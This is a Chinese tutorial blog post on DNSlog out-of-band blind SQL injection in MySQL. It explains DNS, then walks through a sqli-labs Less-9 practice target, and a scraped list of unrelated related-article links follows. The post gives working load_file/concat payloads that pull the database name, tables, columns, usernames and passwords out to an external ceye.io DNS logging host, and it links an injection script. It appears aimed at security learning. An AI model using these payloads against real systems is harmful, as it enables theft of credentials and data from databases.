1.基础知识

1.DNS

DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。通过主机名,最终得到该主机名对应的IP地址的过程叫做域名解析(或主机名解析)。DNS协议运行在UDP协议之上,使用端口号53。在RFC文档中RFC 2181对DNS有规范说明,RFC 2136对DNS的动态更新进行说明,RFC 2308对DNS查询的反向缓存进行说明。

2.Dnslog

Dnslog就是存储在DNS Server上的域名信息,它记录着用户对域名www.test.com、t00ls.com.等的访问信息。

DnsLog盲注

对于SQL盲注,我们可以通过布尔或者时间盲注获取内容,但是整个过程效率低,需要发送很多的请求进行判断,容易触发安全设备的防护,Dnslog盲注可以减少发送的请求,直接回显数据实现注入 使用DnsLog盲注仅限于windos环境。

原理图:

如图,攻击者首先提交注入语句select load_file(concat('\\\\','攻击语句',.XXX.ceye.io\\abc))

在数据库中攻击语句被执行,由concat函数将执行结果与XXX.ceye.io\\abc拼接,构成一个新的域名,而mysql中的select load_file()可以发起请求,那么这一条带有数据库查询结果的域名就被提交到DNS服务器进行解析

此时,如果我们可以查看DNS服务器上的Dnslog就可以得到SQL注入结果。那么我们如何获得这条DNS查询记录呢?注意注入语句中的ceye.io,这其实是一个开放的Dnslog平台(具体用法在官网可见),在http://ceye.io上我们可以获取到有关ceye.io的DNS查询信息。实际上在域名解析的过程中,是由顶级域名向下逐级解析的,我们构造的攻击语句也是如此,当它发现域名中存在ceye.io时,它会将这条域名信息转到相应的NS服务器上,而通过http://ceye.io我们就可以查询到这条DNS解析记录。

构造语法

构造语句,利用load_file()函数发起请求,使用Dnslog接受请求,获取数据

SELECT LOAD_FILE(CONCAT('\\\',(select database(),'mysql.cmr1ua.ceye.io\\abc')))

通过SQL语句查询内容,作为请求的一部分发送至Dnslog

只要对这一部分语句进行构造,就能实现有回显的SQL注入

payload:

获取数据库名

http://127.0.0.1/lou/sql/Less-9/?id=1'and load_file(concat('\\\\',(select database()),'.cmr1ua.ceye.io\\abc'))--+

通过dnslog查看到数据名为security

获取数据表

http://127.0.0.1/lou/sql/Less-9/?id=1'and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.cmr1ua.ceye.io\\abc'))--+

获取表中的字段名

'and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users'limit 0,1),'.cmr1ua.ceye.io\\abc'))--+

获取表中字段下的数据

'and load_file(concat('\\\\',(select password from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+' and load_file(concat('\\\\',(select username from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+

因为在load_file里面不能使用@ ~等符号所以要区分数据我们可以先用group_ws()函数分割在用hex()函数转成十六进制即可 出来了再转回去

'and load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+

Donslog注入脚本

https://github.com/ADOOO/DnslogSqlinj

参考学习:https://www.jianshu.com/p/d6788f57dba5

https://www.cnblogs.com/afanti/p/8047530.html

网易云白帽子进阶课程

mysql dba盲注_SQL注入学习-Dnslog盲注相关推荐

  1. 编解码注入、二次注入、DNSlog盲注

    1.编解码注入 靶场 sqlilabs-Less21 登录后,使用bp抓包 分析源码: 发现,如果正确登录,就会设置一个cookie,并且使用base64编码 分析cookie: 发现此处可以进行co ...

  2. sql注入学习——布尔盲注

    前言:之前通过前九关学习到了回显注入.报错注入等一些方法,这次就来详细的学习布尔盲注. 首先来了解一下盲注的概念 盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL ...

  3. sql注入学习——时间盲注

    前言:之前通过前九关学习到了回显注入.报错注入.布尔盲注等一些方法,这次就来详细的学习时间盲注. 在上一篇博客中,了解了布尔盲注,其实布尔盲注和时间盲注大致相同,注入原理是一致的,区别就是一个还是有回 ...

  4. SQL注入学习——Bool盲注详解 sqli-labs(Less 8)

    文章目录 前言: 一.Bool盲注常用的函数: 二.Less8 布尔型单引号GET盲注 1.查数据库版本 2.猜解数据库的长度 3.猜数据库名字 4.猜解表名 5.猜解字段名 6.猜解数据 三.脚本注 ...

  5. mysql sleep详解_sql注入详解(二)

    sql注入详解 4.检测方法 首先是判断能不能进行sql注入 是哪种sql注入 (1)数字型 ?id=1 and 1=1 返回成功?id=1 and 1=2 返回失败 这说明是数字型注入,或者叫整型注 ...

  6. SQL注入学习——时间盲注详解 sqli-labs(Less 9)

    文章目录 前言: 一.基础知识 1.时间盲注简介: 2.时间盲注常用的函数: 二.Less9 基于时间的单引号盲注 1.判断数据库名的长度: 2.猜测数据库: 3.判断表名的长度 4.猜测 secur ...

  7. mysql sql注释符号_SQL注入注释符(#、-- 、/**/)使用条件及其他注释方式的探索

    以MySQL为例,首先我们知道mysql注释符有#.-- (后面有空格)./**/三种,在SQL注入中经常用到,但是不一定都适用.笔者在sqlilabs通关过程中就遇到不同场景用的注释符不同,这让我很 ...

  8. SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用

    Sqli-labs的安装 1.安装WAMP http://www.wampserver.com/ WAMP是php + mysql + Apache环境集成工具 2.下载Sqli-labs https ...

  9. sql盲注特点_SQL注入第二章——access,mssql,oracle

    一.Access注入 Access是轻量级数据库,特点是没有库,没有用户,单文件即可存储数据,在SQL注入时必须猜测表名和列名. Access只有联合注入和布尔盲注. 1,联合注入 http://12 ...

最新文章

  1. android 不固定指示器,Android简单的页面指示器
  2. android edittext 限制文本框输入的长度和提示信息
  3. uC/OS-II源码分析(总体思路一)(
  4. android edittext不可复制_Android中使EditText只读的方法(可恢复编辑状态)
  5. TikTok 已经成为影响力营销的新战场
  6. windows桌面的“我的电脑”“IE”等消失的解决方法
  7. 【多模态】来自Facebook AI的多任务多模态的统一Transformer:向更通用的智能迈出了一步...
  8. 1. java程序的编译命令_Java中javac、java、javap使用详解(java编译命令)
  9. NLP先验知识(一)
  10. 新浪财经三人行:专家谈萨班斯法案聊天实录
  11. 计算机老丢失运行库,为什么电脑缺失运行库,电脑环境缺失运行库怎么办
  12. 扫地阿姨看完都学会了!写给即将正在找工作的Java攻城狮,砥砺前行!
  13. python中imag用法_花了一晚上时间,终于把Python的基本用法归纳好了!
  14. 微信小程序的动态显示字体颜色
  15. 定制联想笔记本一键恢复内容
  16. latex中表格、图片的排版
  17. dbmsxplan oracle_Oracle dbms_xplan
  18. Protobuf 了解
  19. Django框架学习14--admin优化xadmin
  20. mysql 字段包含横杠_mysql数据库创建删除带横杠的数据库名

热门文章

  1. 基于CNN-LSTM的滚动轴承故障诊断
  2. [CQOI2009]中位数图
  3. 重读《C primer plus》(四)
  4. webpack 命令 Module build failed (from ./node_modules/babel-loader/lib/index.js) 错误问题解决方案...
  5. qsort() 讲解
  6. 如何学习Python爬虫[入门篇]?
  7. 合规解决Unity游戏模型素材、UI和音频素材的5种方法
  8. 世界经论坛狂飚黑科技 直击2017大连达沃斯
  9. 阿里云轻量应用服务器应用镜像——WordPress 4.8.1
  10. 阿里云被工信部暂停合作!Log4j 持续爆雷,啥时候是个头?